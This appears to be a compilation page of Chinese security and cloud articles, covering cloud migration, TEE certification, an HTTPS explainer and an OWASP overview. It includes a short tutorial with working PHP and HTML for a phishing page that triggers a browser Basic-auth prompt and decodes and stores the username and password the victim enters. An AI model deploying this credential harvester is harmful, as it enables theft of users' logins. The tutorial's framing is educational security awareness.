安全 | 乐趣区

朝鲜通过攻击加密交易所等活动获利20亿美元

据路透社报道，联合国在一份报告中称，朝鲜已经通过对加密交易所发起网络攻击等活动获利20亿美元。报告称，朝鲜通过使用“广泛且日益复杂”的网络攻击来窃取银行和加密货币交易所的数字资产，目的是支持其国内的大规模杀伤性武器开发计划。新闻来源：火星财经作者：比推

云原生化的迁云实战

云原生的时代已经到来，云原生技术正在重塑整个软件生命周期，阿里巴巴是国内最早布局云原生技术的公司之一。容器服务团队在过去的几年时间内帮助很多用户成功把业务云原生化并迁移上云，其中有现在已经是我们TOP10的大客户，也有需要在国内开展业务的海外用户，有些是从其他云厂商迁移过来的用户，有些是从IDC里迁移上云的用户，而且越来越多的用户开始咨询如何对自己的应用做云原生化改造、如何把业务平滑地迁移到云上。每个用户的业务场景都是不同的，有些差异化的业务场景对容器平台也有一些定制化的需求，我们在帮助这些用户落实迁云方案的同时也在不断思考如何把这些案例中共性的东西做一些沉淀，总结出一些优秀的解决方案、最佳实践以及开发一些工具来帮助用户快速完成迁云的这件事情。这些解决方案、最佳实践以及迁云工具就是今天这篇文章想要分享的内容。在帮助用户落实迁云方案之前，我们首先必须要回答至少3个问题：（1）ACK（阿里云容器服务Kubernetes）如何能保证用户业务的可靠性、稳定性、安全性和灵活性；（2）如何设计迁云方案把业务平滑地迁移到ACK；（3）应用如何做进一步改造来适配ACK提供的更强大的扩展能力。 1. ACK如何保证用户业务的可靠性、稳定性、安全性和灵活扩展性首先，ACK是以阿里云可靠稳定的IaaS平台为底座的，有最大的弹性化与低廉成本和全球化接入的优势；其次，ACK本身处于阿里云的安全体系架构之下并从基础设施到容器运行时环境对容器集群有全维度的安全加固；过去几年我们很好地支撑了成百上千家大小企业的业务运行，有海量用户经验总结并经过双11验证；除此之外。ACK是在标准的Kubernetes基础上，对与用户息息相关的能力做了大幅提升，用户完全不需要担心会被某一家厂商绑定。在我们过去帮助用户业务上云的案例中，绝大部分是自建Kubernetes集群迁移到ACK集群，与自建Kubernetes集群相比较，ACK在成本、弹性、IaaS高度融合、性能、安全加固以及实践经验等方面都有非常巨大的优势。另外，ACK与阿里云的所有region保持一致，除了国内多个区域开服外，在东南亚、中东、欧洲、美东美西都有开服，完全可以满足用户开展全球业务的需求。 2. 整体迁云方案设计用户业务整体迁云的方案设计会涉及到集群规划、数据搬迁、监控切换、日志切换以及最终的生产流量切换或并网操作。迁云到ACK需要做涉及到哪些组件、搬迁哪些数据、切换哪些服务等，都是需要用户又清晰的概念的。首先需要做集群规划，用户需要根据自己业务场景的不同来选择不同的机器类型，比如CPU机器还是GPU机器，比如虚拟服务器ECS还是神龙裸金属服务器等等，网络规划这部分会涉及到容器集群基础设施选择vpc内网网络还是经典网络，集群内pod之间进行通信模式是flannel模式还是terway模式等，在容量规划这部分，用户可以根据自己的成本以及预算规划一个可满足初期业务正常运行的容量即可，随后可以配置动态扩缩容随时弹缩集群规模；在安全防护提升这部分，有基础架构安全比如设置合理的安全组规则，有镜像安全比如使用私有镜像并定义镜像安全扫描，K8S应用安全管理比如设置不同服务间互相访问的网络安全策略等；监控切换这部分相对于用户自建Kubernetes会更加全维度和立体，从基础设施到容器运行时监控一应俱全，并可根据阈值设定触发报警通知；用户一般也会把自建的日志收集方案切换成阿里云上企业级的日志产品SLS；数据迁移是非常重要的一部分，这些数据包括数据库数据、存储数据、容器镜像等，我们会对接阿里云上企业级的粗出产品以及迁移工具，目的是为了保证数据迁云的可靠性、安全性；应用改造主要涉及的内容包括镜像地址的更新、服务暴露方式的优化以及存储盘挂载方式的更新适配；最后提供一个满足用户快速迭代上线产品的CICD方案。以上各个组件调试完毕后，我们就可以进行一部分生产流量的切换。以上从集群规划到生产流量切换便是用户业务迁移上云所需要涉及到的方方面面。我们提供了一个企业容器化生命周期模型，这个模型是根据时间阶段和用户侧各个业务角色来划分的，比如业务架构师角色需要关心的是业务上云能给公司带来什么价值，在TCO和场景上会带来哪些优化，云平台在安全性以及计算、存储、网络能力上是否能满足当前业务需求；IT架构师负责规划当前业务需要的集群容量和规模以及网络选型等问题，剩下的就是系统管理员与应用管理员把迁云方案的各个细节落实下来。这个模型的主要核心关注点是让用户的业务上云后能更稳定、成本更低、效率更高。全栈迁云架构思路分两种，一种是整体迁移，一种是平滑迁移。整体迁移是指用户应用全部迁移上云后，各个组件调试完毕、测试验收通过后，可以整体切换生产流量到线上集群，待线上集群上的业务稳定运行一段时间后再下线原有环境。平滑迁移是指用户可以使用线上ACK集群纳管线下节点，或者线上集群与线下集群混合组网对外提供服务，逐步改造业务组件上云后将原有环境下线。这两种方式相比，整体迁移更简单，平滑迁移响度复杂但对业务影响小，所以也需要根据用户的实际场景做选择。容器化整体迁云这部分还有两个小场景，一个是用户从自建Kubernetes集群迁移到ACK，此场景下用户的应用已经做了很大一部分的云原生化改造，迁移工作相对来说会简单些，还有一部分用户的应用是传统应用，直接运行在虚拟机或者裸金属服务器上，没有做过任何云原生化的改造，对于这部分场景，我们也提供了相关工具或方案帮助用户进行云原生化的迁云改造，比如使用derrick项目可以自动检测源码项目类型并生成Dockerfile和用于应用部署编排的yaml文件，比如我们正在联合ECS SMC（迁云中心）开发的虚拟机转换容器镜像并运行在ACk集群中的能力。为了帮助用户提高迁云的效率，我们也在持续积累和开源一些迁云工具。比ack-image-builder为用户提供创建ACK集群节点自定义镜像的模板并通过校验模块检查自定义镜像是否满足ACK集群要求；sync-repo能够帮助用户快速完成容器镜像批量迁移至ACR（容器镜像仓库服务）; velero能够帮助用户快速把其他云厂商后者自建Kubernetes集群下的完整应用迁移至ACK集群。 Velero迁移Kubernetes应用到ACK视频DEMO 在数据搬迁部分，可靠迁移是关键，根据用户数据类型的不同，我们会使用与之匹配的企业级迁移工具，比如数据在线迁移服务DOMS，比如OSS的迁移工具，还有离线海量数据迁移方案闪电立方等。数据、应用迁云完成后，需要进一步适配监控、日志等组件，待各个组件调试完毕通过验收后，可以使用智能DNS进行生产流量的切割。 3. 应用改造和优化对于应用改造和优化这部分，K8s到K8s的场景下，需要优化的是去适配自动扩容等自建K8s不具备的那些能力，在传统应用迁移到ACK的场景下，这部分的工作量会更大些，所以我们针对这个场景也输出了一些方案，比如类似于异地多活的方案，我们把用户传统应用环境，通常是虚拟机或者裸机环境集成到线上ACK部署的Istio网格中，逐步改造应用直至业务全部切换到线上ACK集群。在应用逐步改造的这个过程中，会涉及到应用如何容器化、网络环境如何迁移以及数据迁移的问题，应用容器化这个问题，我们可以使用前面我提到过的一个服务叫做SMC迁云中心来完成虚拟机转换为容器镜像的过程，网络这部分可以通过iptables，External，CoreDNS PrivateZone等方式对IP地址DNS域名做处理，保持原先的逻辑IP和域名不变，并通过Istio实现网络虚拟路由和可观测性的管理。 4. 案例接下来是部分迁云案例，有对高性能网络有特殊需求的用户，有做深度学习相关业务对大规模GPU机器有需求的用户，有要求裸金属机型服务器的用户等等。 5. 总结不同用户的不同业务场景在云原生化迁云方案的设计和落实上都有各自的差异性，不尽相同，需要结合ACK团队沉淀下来的最佳实践来快速做出评估和计划，并借助已有的一系列迁云工具快速完成业务从线下迁移上云的过程。本文作者：流生阅读原文本文为云栖社区原创内容，未经允许不得转载。

阿里云Link-TEE获得全球首款GlobalPlatform-TEE全配置安全认证

2019年7月12日，阿里云Link TEE正式获得由国际标准组织GlobalPlatform（以下简称GP）颁发的TEE安全评估认证证书，也成为全球首款获得GP TEE全配置（支持TEE Time and Rollback PP-Module和TEE Debug PP-Module）安全认证的产品。 GP是跨行业的国际标准组织，也是全球基于安全芯片的安全基础设施统一的标准的制定者，制定了可信执行环境的标准，是TEE（Trusted Execution Environment）产品全球最权威的专业安全性评估机构。目前，GP TEE安全性认证已是公认的TEE方案在行业纵深方向发展的必由之路。阿里云Link TEE本次斩获的 “全球首款”是国内TEE安全方案在国际上的一个具有里程碑意义的事件。此次GP TEE安全认证，由国内知名第三方安全实验室DPLS Lab提供专业测评，基于Link TEE v1.1.3软件产品，使用NXP的i.MX6QP SoC作为硬件载体，支持可信应用程序的硬件隔离，提供数据和密钥安全增强保护，可以为客户提供符合GP TEE Protection Profile全配置的商业TEE安全解决方案。阿里云智能IoT资深安全专家董侃非常看好TEE在物联网领域的应用场景，“阿里云Link TEE是物联网设备的可信计算框架，是专为物联网设计的安全方案，可以提供不同安全等级的可信保护。阿里云Link TEE基于ARM Trustzone或C-SKY的安全扩展技术提供硬件级别的可信根，也提供软件级别的保护方案，具有代码小、运行速度快、安全等级高等优点。该产品在智能汽车、路测单元、智能售卖机、智能音响、摄像头、无人机、智能机器人、区块链可信应用和eSIM领域有广阔的应用场景和市场需求。” “市场一直在等待能增强用户信心的安全标准，”恩智浦高级副总裁Geoff.Lees 说，“阿里云Link TEE提供了这一安全保障，并开启了更快部署安全的工业和物联网解决方案的大门。我们正积极与阿里云合作，提供我们特有的价值与能力，共同制定统一的认证标准，提高安全和隐私的门槛。” DPLS Lab的实验室副主任安焘表示，“作为GlobalPlatform国内首家认可并授权的具备TEE全面评估能力的的安全实验室，有幸能担当此次阿里云Link TEE安全评估实验室，与阿里云物联网安全团队精诚合作对该产品功能符合性与安全抗攻击能力进行全面评估，并经过不懈努力最终达到GP严苛安全标准，完成了此次全球首款全配置TEE安全认证，同时该产品也是GP全球范围内认可的第三款TEE产品。” 本文作者：云媗阅读原文本文为云栖社区原创内容，未经允许不得转载。

宜信开源漏洞管理平台『洞察』部署指南

『洞察』是一个集成应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的管理平台。『洞察』使用了Python语言进行开发，利用Flask框架+MySQL+Docker部署实现。一、部署和启动mysqldocker pull mysql:5.7.13docker run -d -p 127.0.0.1:6606:3306 \--name open_source_mysqldb \-e MYSQL_ROOT_PASSWORD=root \mysql:5.7.13二、创建数据库和账号权限配置$ mysql -h 127.0.0.1 -P 6606 -u root -pEnter password:rootmysql> CREATE DATABASE IF NOT EXISTS vuldb DEFAULT CHARSET utf8 COLLATE utf8_general_ci;mysql> grant all on vuldb.* to vuluser@'%' identified by 'vulpassword';mysql> flush privileges;mysql> quit三、部署和启动APP1、下载源码$ git clone https://github.com/creditease-sec/insight.git2、修改srcpm/config.py 配置文件1）修改公司邮箱后缀 #公司邮箱后缀限制，只能使用公司邮箱注册账号。CORP_MAIL = '@qq.com'2）修改邮件CC抄送列表 #平台发送的每封邮件的邮件抄送列表，可以设置发送给安全部邮箱列表，可自行修改，也可以保持不变为空 ''' 示例： CC_EMAIL = ['xxx1@creditease.cn', 'xxx2@creditease.cn', ] ''' CC_EMAIL = [ ]3）修改开发模式的邮箱服务器和发件邮箱配置 ...

如何在云上使用confdACM管理敏感数据

在前面的一些文章中，我们介绍了如何在云上安全的存放配置数据，但是上面的方法都是有代码侵入性的，也就是说需要修改应用程序，本文会讲解如何使用 confd+ACM 在不修改代码的情况下动态修改应用所需的配置，并且可以重新启动应用加载最新的配置。这样做可以在无代码侵入的情况下加强应用程序的安全性和运维效率：安全性：应用程序的数据可能是敏感数据，ACM 具有健壮的访问控制机制，可以对敏感数据进行加密来安全的保存密码、API密钥、证书等敏感信息;运维效率：当需要修改应用的某些配置内容时，如果只有一两台机器可以手工操作，但是当涉及几十上百台数量的时候，confd+ACM可以通过配置的发布批量进行配置修改和重启操作;无代码侵入：通过confd+ACM的组合可以做到无需修改应用代码即可达到让应用配置动态生效的效果下面以应用的数据库配置为例讲解如何使用confd+ACM安全管理应用配置准备工作在操作本文的示例之前需要配置好开通ACM和对confd的使用有基本概念，ACM的开通及其基本使用可以参考：这里confd的基本使用可以参考：这里创建confd配置文件创建confd所需的toml格式配置文件 vim /etc/confd/conf.d/myapp.toml指定模版文件，ACM中的加密配置需要以/cipher-开头check_cmd用于检验配置的正确性，防止错误配置导致应用加载失败reload_cmd用于重启应用或者让应用动态加载配置 [template]src = "jdbc.properties.tmpl"dest = "/tmp/jdbc.properties"keys = ["/cipher-myapp/database/jdbc",]#check_cmd = "check config is correct"reload_cmd = "restart app"创建模版文件vim /etc/confd/templates/jdbc.properties.tmplgetv从ACM中获取对应dataId的配置:/cipher-myapp/database/jdbc对应的dataId为cipher-myapp.database.jdbcconfd基于kms会自动对/cipher-开头的配置进行解密 {{$data := json (getv "/cipher-myapp/database/jdbc")}}jdbc.url={{$data.url}}jdbc.username={{$data.username}}jdbc.password={{$data.password}}在ACM上创建所需的配置文件创建dataId为cipher-myapp.database.jdbc的配置文件，group使用默认的DEFAULT_GROUP即可，配置内容为 {"url":"jdbc:mysql://localhost:3306/dbName","username":"testuser","password":"testpassword"} 启动confd和官网文档不同的是，要支持解密功能，需要设置confd的-openKMS开关，并且设置kms服务的regionId，这个信息可以从示例代码中获得 confd -backend nacos -endpoint {endpoint}:8080 -namespace {namespace} -accessKey {accessKey} -secretKey {secretKey} -openKMS true -regionId {regionId} -watch 生成配置文件查看生成的/tmp/jdbc.properties配置文件，如果生成了该文件，并且文件内容如下则说明整个流程运行正常 jdbc.url=jdbc:mysql://localhost:3306/dbNamejdbc.username=testuserjdbc.password=testpassword变更ACM配置内容当需要修改数据库的连接串的时候，直接在ACM上修改cipher-myapp.database.jdbc配置，confd会重新生成数据库配置文件，并让应用加载最新配置。当然在实际生产环境中，可以使用ACM的Beta功能对几台机器先进行灰度发布，检验没问题再继续全量发布本文演示了如何使用confd+ACM安全管理敏感数据，ACM安全配置更多信息还可以参考：这里本文作者：风卿，Nacos 社区 Committer 本文作者：中间件小哥阅读原文本文为云栖社区原创内容，未经允许不得转载。

蚂蚁金服王旭开源的意义是把社区往前推进一步

互联网技术发展速度之快是所有从业者甚至非从业者都能感受到的。尤记得在世纪之交时，那时候互联网刚刚在中国开始向民用普及，不说支撑大规模的网站访问量的相关技术，就连 Linux、负载均衡甚至都没有被普遍使用。而在二十年之后，云计算已经大行其道，当今的技术人员已经言必称虚拟化、容器和 Serverless，就连刚刚准备入行互联网运维行业的新人们都已经从最初觉得考个 Linux 认证就够了到开始问询 Kubernetes 培训哪家强了。从一届届 LC3、DockerCon 到 KubeCon，蓬勃发展的云计算与容器化似乎已经称霸了互联网领域。这次我带队参加了 6 月 24 ~ 26 日的 KubeCon 大会，对此感受尤为深刻。事实上，这次在上海举办的 KubeCon 2019 距离上次在同一地点举办的同一会议才仅仅过去半年，但是我们依旧在这次大会上看到了层出不穷的大量新技术、新动态。云与容器的结合，引爆了这一切。作为容器领域的资深专家，让我们来看看王旭是如何看待容器和云原生领域当前的发展态势的，以及作为这个领域的一家初创技术企业的创始人，他是如何投身到这个领域的，开源又在其间起到了什么作用。创立于 2015 年的 runV 项目已于 2017 年和另外一个来自英特尔的 Clear 容器项目合并为 Kata 容器项目，并由 OpenStack 基金会（OSF）进行管理，它与来自谷歌的 gVisor 项目并称为目前两大安全容器技术。开源与初创要么就去加强容器，要不就是引入别的安全技术来让它像容器一样。临近 2015 年，Docker 逐渐被业界主流所接受，互联网技术已经有一个比较明显的发展趋势：第一是云，第二是容器。而云加上容器一定会产生隔离性的需求，这应该说是王旭和他的联合创始人赵鹏做安全容器最早的一个思路：要么就去加强容器，要不就是引入别的安全技术来让它像容器一样。这就是 runV 这个项目想法的起源。 runV 发布的同一个星期，英特尔Clear 容器也发布了。2016 年 8 月份，在西雅图的 LinuxCon 上，王旭和 Clear 团队见面交流，双方在一些细节上面展开合作。在 2017 年 9 月份一个会议上，英特尔软件副总裁、开源技术中心总经理 Imad Sousou 提出项目合并，然后放到基金会里管理。当时大家都觉得这是很好的一个思路。对于 runV 和 Clear 来说，避免了重复开发以及花费精力在如何说明两者的不同上，同时合并之后可以共同推动发展一个社区，一起去寻找更多的用户。同时，两者合并还有更多的意义。 ...

HTTPS的加密方式

一、概述1.1大致目的进一步了解HTTP和HTTPS了解对称加密和非对称加密的工作方式对HTTPS的加密有一个大概的了解对证书有一个初步的了解1.2加密方式在学习HTTPS加密方式之前，有必要了解几种常见的加密方式，如：对称加密非对称加密二、对称加密2.1定义需要对加密和解密使用相同密钥的加密算法。所谓对称，就是采用这种加密方法的双方使用方式用同样的密钥进行加密和解密。密钥是控制加密及解密过程的指令。算法是一组规则，规定如何进行加密和解密。注意：对称加密也叫密钥加密 2.2密钥的形式采用单钥密码系统的加密方法，同一个密钥可以同时用作信息的加密和解密，这种加密方法称为对称加密，也称为单密钥加密。 2.3优缺点优点：对称加密算法的优点是算法公开、计算量小、加密速度快、加密效率高。缺点：对称加密，密钥管理的安全性很低，因为加密和解密都使用同一个密钥，在密钥的发送过程中，密钥可能被第三方截取，导致第三方也可以破解密文。 2.4具体实现在每次发送真实数据之前，服务器先生成一把密钥，然后先把密钥传输给客户端。之后服务器给客户端发送真实数据的时候，会用这把密钥对数据进行加密，客户端收到加密数据之后，用刚才收到的密钥进行解密。 2.5图解我们以客户端发送请求给服务器为例：对称加密在第一部和第二部上均可被第三者拦截（实时是第二步一般均可以被拦截，但是能否解密还是要看第一步是否把密钥拦截下来）因为，对称加密的解密钥匙和加密钥匙均是同一把。三、非对称加密3.1定义非对称加密算法需要两个密钥：公开密钥（publickey:简称公钥）和私有密钥（privatekey:简称私钥）。公钥与私钥是一对，如果用公钥对数据进行加密，只有用对应的私钥才能解密。如果用公钥对数据进行加密，只有用对应的私钥才能解密。因为加密和解密使用的是两个不同的密钥，所以这种算法叫作非对称加密算法。 3.2密钥的形式公钥与私钥是一对。传输双方均有自己的一对密钥（也就是双方每方均有：公、私密钥一把，双方加起来共4把）例子:传输双方比如是甲乙双方，甲方有配对的公、私密钥一对，且公钥负责加密，私钥负责解对应的公钥加的密。乙方同理。 3.3优缺点非对称密钥的算法强度复杂（是优点也是缺点），安全性依赖于算法与密钥。优点：安全性较高，比对称密钥安全性高很多。非对称加密算法的保密性比较好，它消除了最终用户交换密钥的需要。缺点：由于其算法复杂，而使得加密解密速度没有对称加密解密的速度快。 3.4具体实现1.客户端要向服务器发送信息，客户端和服务器都要产生一对用于加密和解密的公钥和私钥。2.客户端的私钥保密，客户端的公钥告诉服务器；服务器的私钥保密，服务器的公钥告诉客户端。3.客户端要给服务器发送信息时，客户端用服务器的公钥加密信息，因为服务器的公钥是公开的，客户端可以得到。4.客户端将这个消息发给服务器（已经用服务器的公钥加密消息）。5.服务器收到这个消息后，服务器用自己的私钥解密客户端的消息。其他所有收到这个报文的人都无法解密，因为只有服务器才有服务器的私钥。 3.5图解四、HTTPS采用的加密HTTPS采用的是处理信息的方式是：结合对称加密+非对称加密这两种方式，我们可以用非对称加密的方式来传输对称加密过程中的密钥，之后我们就可以采取对称加密的方式来传输数据了。具体是这样子的：服务器用明文的方式给客户端发送自己的公钥，客户端收到公钥之后，会生成一把密钥(对称加密用的)，然后用服务器的公钥对这把密钥进行加密，之后再把密钥传输给服务器，服务器收到之后进行解密，最后服务器就可以安全得到这把密钥了，而客户端也有同样一把密钥，他们就可以进行对称加密了。五、证书5.1非对称加密的不足事实上，在没有引入证书之前，非对称加密也并非传输安全的，在此举个例子：服务器以明文的方式给客户端传输公钥的时候，中间人截取了这把属于服务器的公钥，并且把中间人自己的公钥冒充服务器的公钥传输给了客户端。之后客户端就会用中间人的公钥来加密自己生成的密钥。然后把被加密的密钥传输给服务器，这个时候中间人又把密钥给截取了，中间人用自己的私钥对这把被加密的密钥进行解密，解密后中间人就可以获得这把密钥了。最后中间人再对这把密钥用刚才服务器的公钥进行加密，再发给服务器。毫无疑问，在这个过程中，中间人获取了对称加密中的密钥，在之后服务器和客户端的对称加密传输中，这些加密的数据对中间人来说，和明文没啥区别。 5.2证书的引入非对称性加密之所以不安全，是应为客户端不知道，这把公钥是不是服务器的。因此，我们需要找到一种策略来证明这把公钥就是服务器的，而不是别人冒充的。解决这个问题的方式就是使用数字证书，具体是这样的： 1、我们需要找到一个第三方机构，它是一个拥有公信力、大家都认可的认证中心，那就是数字证书认证机构(简称CA)。2、服务器在给客户端传输公钥的过程中，会把公钥以及服务器的个人信息通过Hash算法生成信息摘要。为了防止信息摘要被人调换，客户端还会用CA提供的私钥对信息摘要进行加密来形成数字签名。并且，最后还会把原来没Hash算法之前的个人信息以及公钥和数字签名合并在一起，形成数字证书。3、当客户端拿到这份数字证书之后，就会用CA提供的公钥来对数字证书里面的数字签名进行解密来得到信息摘要，然后对数字证书里服务器的公钥以及个人信息进行Hash得到另外一份信息摘要。最后把两份信息摘要进行对比，如果一样，则证明这个人是服务器，否则就不是。这样，就可以保证服务器的公钥安全着交给客户端了。 5.3浏览器内置常用证书一个重要的问题是，如何安全转交认证机构的公钥是一件很困难的事，因此，大多数浏览器开发商发布版本时，会事先植入常用认证机关的公钥。我们可以Google Chrome为例：打开浏览器的设置选项，选择高级，可以看到隐私设置和安全性下面的一些设置，其中管理证书就可以看到谷歌浏览器一些内置证书，如图： 5.4图解下图选自图解HTTP： 5.5分析实例我们分析下下面的三种情况 1、网站是http协议的：可以看到是不安全的。2、网站是完全的HTTPS加密的:可以看到Google网站的HTTPS前面是有一把小锁的，这表示，这个网站的连接是安全的，并且点击小锁可以看到证书信息。3、网站前带HTTPS但是不是完全安全的：注意第三点和第一点的表达：连接不安全和连接并非完全安全这是因为：站点还有http资源，需要把所有链接换成https才可以带锁。参考资料：图解HTTP百度百科http加密那点事

一起来写个钓鱼

虽然这篇文章的标题是一起来写个钓鱼的站点,但是希望仅仅把它当作饭后的谈资就好,切不可在实际生活中真正的使用。不然,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心做到对应的效果很难,只是作为安全知识的入门学习。闲话少说,还是直接进入主题吧。这里是需要实现的一些工具的清单: PHP 5.x及以上版本1个现代的浏览器,不要拿IE6这样老古董的浏览器出来,会死人的Apache还是Nginx随意,能用就好一款文本编辑器,比如记事本工具都准备妥当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。在Web中钓鱼的方式有很多方式,不过这个名字还是源自生活,此时联想到在长江边垂钓的场景,滚滚长江东逝水...。万事俱备只欠东风,工具都准备好了,现在还缺的就是鱼了。鱼从哪里来,自然就是从受害者身上谋取啦。而这里我们利用1种401认证的方式来钓鱼。实现过程首先,我们新建1个index.php的脚本,其内容类似如下: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>首页</title></head><body> <h1>首页</h1> <script type="text/javascript" src="test.php"></script></body></html>内容简单的很,实际上真正有用的就是这么一行: <script type="text/javascript" src="test.php"></script>我们使用脚本的方式异步请求php的1个脚本。搞技术的要求能举一反三,我见过一些信息安全人员,除了会写POC外和使用一些工具外,对应的原理是一窍不懂的。甚至为什么可以这样做是一问三不知的。很多人以为黑客是群很聪明的人,实际不然,不排除这里面有一些所谓的脚本小子,整天复制搞破坏的。闲外话还是少说,如果你觉得上面的script标签有点碍眼,你完全可以换,比如换成link、img等标签完全都是可以的。这就是举一反三的能力吧,毕竟真实场景中很少有刚好就那么巧可以被利用的。而test.php中的内容类似如下: <?phpif(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){ session_start(); $value = $_SERVER['HTTP_AUTHORIZATION']; $admin = base64_decode(substr($value, 6)); $_SESSION['info'] = $admin;}else{ header("Content-type: text/html; charset=utf-8"); header('WWW-Authenticate: Basic realm="Please enter your username and password!"');}我们判断当前服务器中是否存在键名HTTP_AUTHORIZATION,如果不存在则直接抛出1个401的认证请求头。而浏览器获取到该401状态后,会自动弹出1个对话框要求使用者输入用户名和密码。如果使用者按照我们剧情的安排输入了用户名和密码,那么我们就成功钓到了1条(人)鱼。需要注意的是,这里我们使用的是Basci认证,而不是HTTP中另1个Digest的认证。不然到时传递过来的是MD5的结果,还需要花费时间解密,得不偿失。眼尖的你可能发现,我们使用的是Base64解码函数base64_decode。没错,Basic认证的用户名和密码会使用Base64进行编码,直接获取到其内容进行解码即可,是不是很简单。在这里,我们将其存入到session中,以便可以在前端显示,这样就可以看到效果了。而更多情况下,是直接存储到文件或数据库中,接着搞不好就拿着这些账号去登录你的银行卡。为了看出效果,我们在index.php中添加如下几行代码: <?phpsession_start();if(array_key_exists("info",$_SESSION)){ $value = $_SESSION['info']; var_dump($value);}?>演示过程下面是演示的效果过程,首先是访问首页: 然后入套,输入自己的用户名和密码: 鱼上钩了,被钓了起来: 结语看到,你可能会骂娘了。这么简单的东西,搞得这么神秘兮兮。实际上,原理的东西总是很简单的,重要是组合利用。如果让自己隐匿的更深一些,还有更具诱惑性才能让猎物上钩。而钓鱼的过程不就是利用如下几个切入点: 诱饵味道做的很不错鱼钩藏匿在诱饵里面鱼肚子饿了鱼发现诱饵味道很不错,就咬了一口结果鱼就上钩了。而人之所以会被钓的过程主要还是如下几个情况: 用户安全意识薄弱,过于盲目相信浏览器浏览器厂商相关安全没有做好,致使用户受害脚本小子页面做的很不错,真假难辨当然不排除还有其他一些情况,实在想不出来了,脑洞太小。当然上面这么丑陋的网站,百分百是钓不到鱼的。

WebApp-安全风险与防护系列一

WebApp 安全风险与防护（系列一）讲师资料：Carl（陈庆），葡萄城高级架构师、葡萄城技术公开课讲师。拥有15年项目开发经验，专注于产品架构、编程技术等领域，对网络安全有着独到见解，曾担任微软TechEd讲师，乐于研究各种前沿技术并分享。 2018 网络安全事故频发，从数据泄露、信息窃取，到 DDOS 攻击、勒索病毒，不仅威胁的总数在增加，威胁态势也变得更加多样化，攻击者在不断开发新的攻击途径的同时，也尽力在攻击过程中掩盖其踪迹，使网络安全防护变得越发棘手。未来是万物互联的时代，唯有把握住网络信息安全，才能避免被降维打击。本场Chat，我们特邀Carl作为分享嘉宾，于葡萄城技术公开课上，以 WebApp 安全防护为出发点，带你了解更多意想不到的安全防护措施与黑客攻击手段，助你提高网络安全意识，最终学会如何规避风险隐患，避免遭受网络安全攻击。欢迎大家扫描下图二维码，预约报名参加。直播地址：http://live.vhall.com/137416596 下面开始展开正文。第一节：开阔眼界 – 提升安全意识提升网络安全意识对项目团队中的每一个角色、每一个流程都至关重要。同时，也只有具备了网络安全意识，才愿意为数据安全投入更多的时间和精力。下面，我将为您展示部分2018年发生的网络安全事故，这些事故造成的损失，也许远远超出你的想象。 2018 网络安全事故回顾Facebook数据泄露事件：2018年9月，Facebook因安全系统漏洞而遭受黑客攻击，导致约5000万用户信息泄露。上市公司数据堂，涉嫌侵犯数百亿条公民个人信息：大数据行业知名企业数据堂在短短8个月的时间内，日均泄露公民个人信息1.3亿余条，累计传输数据压缩后约为4000GB。圆通10亿快递信息泄露： 10亿条用户数据遭公开售卖，这些数据包括寄（收）件人姓名、电话、地址等隐私信息。万豪酒店5亿用户开房信息泄露：万豪酒店客房预订数据库遭黑客入侵，约5亿名客户的信息可能被泄露。更多数据泄露事件国泰航空数据泄露，940万乘客受影响MongoDB 数据库被入侵， 1100 万份邮件记录遭泄露SHEIN 数据泄露影响 642 万用户GovPayNet凭证系统存在漏洞，1400万交易记录被曝光小米有品平台泄露个人隐私约2000万用户数据遭泄露…勒索病毒事件美国亚特兰大市政府受到勒索软件攻击美国巴尔的摩市遭遇勒索软件攻击，导致911紧急调度服务的计算机辅助调度(CAD)功能掉线台积电勒索病毒事件，约造成17.6 亿元的营收损失，股票市值下跌78亿很多个人电脑和中小网站都曾遭受攻击DDoS 攻击平昌冬奥会开幕式服务器遭到身份不明的黑客入侵GitHub遭1.35T级流量攻击年度重大漏洞盘点CPU数据缓存机制漏洞iOS 平台WebView组件漏洞（UIWebView/ WKWebView）跨域访问漏洞（CNNVD-201801-515）Oracle WebLogic Server WLS核心组件远程代码执行漏洞微信支付SDKXXE漏洞Apache Struts2 S2-057安全漏洞第二节：知己知彼 – 黑客如何攻击系统一名黑客攻击网站的典型步骤，主要分为以下5步：信息收集和漏洞扫描漏洞利用上传木马获取服务器的控制权清理痕迹总结：黑客不是手动测试系统漏洞的，而是有很多强大的工具可以自动化完成黑客不是利用系统中的一个漏洞，而是要利用一系列，不同层次的漏洞黑客经常批量攻击一系列网站，选取其中漏洞较多，较好利用的重点突破第三节：十大安全风险（OWASP Top 10）不安全的软件正在破坏着我们的金融、医疗、国防、能源和其他重要的基础设施。随着我们的软件变得愈加庞大、复杂且相互关联，实现应用程序安全的难度也呈指数级增长。而现代软件开发过程的飞速发展，使得快速、准确地识别软件安全风险变得愈发的重要，OWASP 组织也因此诞生。 OWASP，即开放式Web应用程序安全项目（Open Web Application Security Project），作为一个开源的、非盈利的全球性安全组织，它提供了有关计算机和互联网应用程序的公正、实际、有成本效益的信息，其目的是协助个人、企业和机构来发现并使用可信赖的软件。 OWASP Top 10是由OWASP组织公布，最具权威性的“10项最严重的Web应用程序安全风险预警”，其就安全问题从威胁性和脆弱性两方面进行可能性分析，并结合技术和商业影响的分析结果，输出公认的、最严重的十类Web应用安全风险排名。OWASP Top 10旨在针对上述风险，提出解决方案，帮助IT公司和开发团队规范应用程序开发流程和测试流程，提高Web产品的安全性。 OWASP敦促所有公司在其组织内采用OWASP Top 10文档，并确保其Web应用程序最大限度地降低这些风险，采用OWASP Top 10可能是将企业内的软件开发文化转变为生成安全代码文化最行之有效的一步。 OWASP Top 10包括：注入失效的身份认证敏感信息泄露XML外部实体（XXE）失效的访问控制安全配置错误跨站脚本（XSS）不安全的反序列化使用含有已知漏洞的组件不足的日志记录和监控以上便是从本次Chat——“WebApp 安全风险与防护（系列一）”中截取的部分内容，下一期将详细介绍OWASP Top 10及其应对策略。更多关于 WebApp 安全风险防护手段及葡萄城安全架构中的实践分享，将在葡萄城系列公开课“WebApp 安全风险与防护”中，由Carl亲自讲解，诚邀您学习观看。公开课地址：http://live.vhall.com/137416596 公开课时间：2019/6/26 （周三）16:00 PM ...

网站安全总结

